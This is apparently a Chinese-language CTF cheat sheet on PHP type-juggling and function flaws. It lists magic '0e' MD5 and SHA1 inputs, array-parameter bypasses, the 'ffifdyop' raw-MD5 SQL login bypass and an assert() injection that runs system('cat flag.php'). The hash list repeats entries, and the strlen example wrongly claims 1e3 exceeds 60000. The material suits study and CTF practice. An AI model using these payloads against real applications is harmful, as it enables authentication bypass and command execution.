优秀的人,不是不合群,而是他们合群的人里面没有你
弱类型比较 md5比较
遇到md5函数,构造0e的,因为PHP将会认为他们是科学计数法,都是0。
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
比如:
要求md5(k1)==md5(k2)
传输的url就可以是
/?k1=QNKCDZO&k2=240610708
这里附上常见的0E开头的MD5
题目这样
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
大写字母类:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
TUFEPMC
0e839407194569345277863905212547
UTIPEZQ
0e382098788231234954670291303879
UYXFLOI
0e552539585246568817348686838809
IHKFRNS
0e256160682445802696926137988570
PJNPDWY
0e291529052894702774557631701704
ABJIHVY
0e755264355178451322893275696586
DQWRASX
0e742373665639232907775599582643
DYAXWCA
0e424759758842488633464374063001
GEGHBXL
0e248776895502908863709684713578
GGHMVOE
0e362766013028313274586933780773
GZECLQZ
0e537612333747236407713628225676
NWWKITQ
0e763082070976038347657360817689
NOOPCJF
0e818888003657176127862245791911
MAUXXQC
0e478478466848439040434801845361
MMHUWUV
0e701732711630150438129209816536
0e开头的sha1和原值:
10932435112 0e07766915004133176347055865026311692244
aaroZmOk 0e66507019969427134894567494305185566735
aaK1STfY 0e76658526655756207688271159624026011393
md5 sha1函数缺陷
当md5()函数与sha1()函数对参数进行加密处理时,如果碰到一个数组,md5()函数会返回null,sha1()
函数也是一样。利用这个特性构造两个数组即可。
md5 和 mysql 缺陷
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c
经过MySQL编码后会变成’or’6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密
数字比较缺陷(类型强制转换)
php中有两种比较的符号==和===
===在进行比较的时候会先判断两种字符串的类型是否相等,再比较。
== 在进行比较的时候,会先将字符串的类型转换为相同,再比较。
1 == '1abc' // true
true == 'abcd' // true
"42" == "42.0" // true
"42" == "000042.00" // true
"42" == "0x000000002A" // true
"10" == "1e1" // true
"42" == "0000000004.2E+1" // true
"42" == "42.0e+000000" // true
[false] == [0] == [NULL] == ['']
NULL == false == 0
数组返回 NULL 绕过
PHP 绝大多数函数无法处理数组,向 md5 函数传入数组类型的参数会使 md5()函数返回
NULL(转换后为 False),进而绕过某些限制。如果上面的代码变成
if(md5($a) === md5($b)) { //两个等号变成三个
echo $flag;
}
原理就是:
$_GET['a']
a[]=flag,对于$_GET是二维数组,对于$_GET['a']是一维数组
a=flag,对于$_GET['a']是字符串
那么利用弱类型 hash 比较缺陷将无法绕过,这时可以使用数组绕过。传入?a[]=1&b[]=2 就
可以成功绕过判断。这样的方法也可以用来绕过 sha1()等 hash 加密函数相关的判断,也可
以绕过正则判断,可以根据具体情况来灵活运用,url可以这么写
/?key1[]=cxzc&key2[]=12
那么这两个值的md5通过==判断也是一样,
这个能通杀sha1和md5校验
assert 缺陷
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
例如
<?php
$s = 123;
assert("is_int($s)");
?>
从这个例子可以看到字符串参数会被执行,这跟eval()类似,到assert()函数我们把前面全部闭合掉闭合用),注意一个问题,#会注释后面的语句,所以在闭合时,把#删了再闭合然后再传数
') or system('cat flag.php');#
intval()缺陷
作用是将变量的值进制转换,默认转化为十进制。
intval($num,0)代表通过检测变量num的格式来决定使用哪个进制。
以0x或0X为前缀,使用16进制;
以0为前缀,使用8进制;
使用10进制。
函数会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的
字符串,intval() 不会报错而是返回 0
var_dump(intval('2')) // 2
var_dump(intval('3abcd')) // 3•
var_dump(intval('abcd')) // 0•
用这个绕过
?num[]=1
可以使用==的特性,如+16、16.0;或者进制转换后,左右变量也相等。
===强类型对比,可以使用进制转换进行绕过。补充==:弱类型对比,添加+符号或者.0也成立。
strcmp函数缺陷
定义:
int strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。
如果 str1 小于 str2 返回 < 0;
如果 str1 大于 str2 返回 > 0;
如果两者相等,返回 0。
漏洞:
http://xxx.com/6.php?a[]
在php5.3之前,当这个函数接受到了不符合的类型,这个函数将发生错误,显示了报错的警告信息后,
将return 0。
ereg()函数缺陷
- %00截断,在遇到%00的时候会认为字符串结束了
ereg函数中的参数值如果为数组,会返回false
9%00xiaoboshifudaiwofei
通过%00截断,在遇到%00的时候会认为字符串结束了 ,来绕过ereg()函数
strlen()函数缺陷
这个函数也是CTF函数黑魔法中的经典函数,自我矛盾。用来进行判断长度,然后结合大小比较来进行出题。
但是可以通过科学计数法的方法来进行绕过。比如:
1e9
要求数字大且字符短
可以用科学计数法如
1e3>60000
2e3,3e3,4e3
通过科学计数法的方法来进行绕过strlen()函数
preg_match(),preg_match_all()函数缺陷
先说preg_match()函数,是为了弥补ereg函数的%00截断问题,替换了ereg函数。但是,在CTF中踩了
那么多坑以后,终于发现了制裁它的方法,构造数组,就可以了。
is_numeric()函数缺陷
is_numeric() 函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回
TRUE,否则返回 FALSE。
可以借助url编码中的空字符,例如%00或者%20,其中%00加在数值前面或者后面都可以来绕过,比如要输入999
999%20
%00999
999%00
999a
它会默认16进制的字符串为整形,这样就可以构造16进制的payload来进行函数绕过。
is_numeric() 函数通过构造16进制的payload来进行函数绕过。比如在数字后加个a就变成16进制
php常见函数功能
strrev(string): 反转字符串
strlen(string): 返回字符串的长度
substr(string, start, length): 返回字符串的一部分
string: 所需要的字符串
start: 在字符串何处开始
length: 可选。规定被返回字符串的长度。默认是直到字符串的结尾
ord(string): 返回字符串首个字符的 ASCII 值
chr(): 从指定的 ASCII 值返回对应的字符
str_rot13(string): 对字符串执行 ROT13 编码。
ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。编码和解码都是由该函数完成的。如果把已编码的字符串作为参数,那么将返回原始字符串
base64_encode(string): 使用 MIME base64 对数据进行编码